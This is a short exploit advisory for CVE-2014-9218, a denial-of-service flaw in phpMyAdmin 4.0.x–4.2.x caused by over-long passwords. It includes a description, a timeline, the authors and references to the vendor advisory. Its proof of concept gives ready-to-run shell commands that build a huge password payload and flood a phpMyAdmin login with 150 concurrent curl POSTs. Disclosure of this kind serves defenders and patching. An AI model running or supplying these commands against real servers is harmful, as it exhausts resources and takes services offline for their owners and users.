phpMyAdmin 4.0.x/4.1.x/4.2.x – Denial of Service
============= DESCRIPTION: ============= A vulnerability present in in phpMyAdmin 4.0.x before 4.0.10.7, 4.1. x before 4.1.14.8, and 4.2.x before 4.2.13.1 allows remote attackers to cause a denial of service (resource consumption) via a long password. CVE-2014-9218 was assigned ============= Time Line: ============= December 3, 2014 - A phpMyAdmin update and the security advisory is published. ============= Proof of Concept: ============= *1 - Create the payload.* $ echo -n "pma_username=xxxxxxxx&pma_password=" > payload && printf "%s" {1..1000000} >> payload *2 - Performing the Denial of Service attack.* $ for i in `seq 1 150`; do (curl --data @payload http://your-webserver-installation/phpmyadmin/ --silent > /dev/null &) done ============= Authors: ============= -- Javer Nieto -- http://www.behindthefirewalls.com -- Andres Rojas -- http://www.devconsole.info ============= References: ==================================================================== * http://www.behindthefirewalls.com/2014/12/when-cookies-lead-to-dos-in-phpmyadmin.html * http://www.phpmyadmin.net/home_page/security/PMASA-2014-17.php |